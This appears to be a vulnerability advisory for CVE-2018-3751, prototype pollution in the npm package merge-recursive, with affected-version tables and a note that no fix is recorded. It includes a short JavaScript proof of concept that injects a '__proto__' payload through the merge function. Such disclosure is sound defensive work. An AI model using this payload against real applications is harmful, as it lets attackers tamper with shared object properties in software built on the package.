critical9.8
CVE-2018-3751
Prototype Pollution in merge-recursive
Impact
All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property. Proof of concept: ```js var merge = require('merge-recursive').recursive; var malicious_payload = '{"__proto__":{"oops":"It works !"}}'; var a = {}; console.log("Before : " + a.oops); merge({}, JSON.parse(malicious_payload)); console.log("After : " + a.oops); ``` ## Recommendation There is currently no fix available.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | merge-recursive | <= 0.0.3 | none recorded |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Umbraengineering | Merge-Recursive | through 0.3.0 |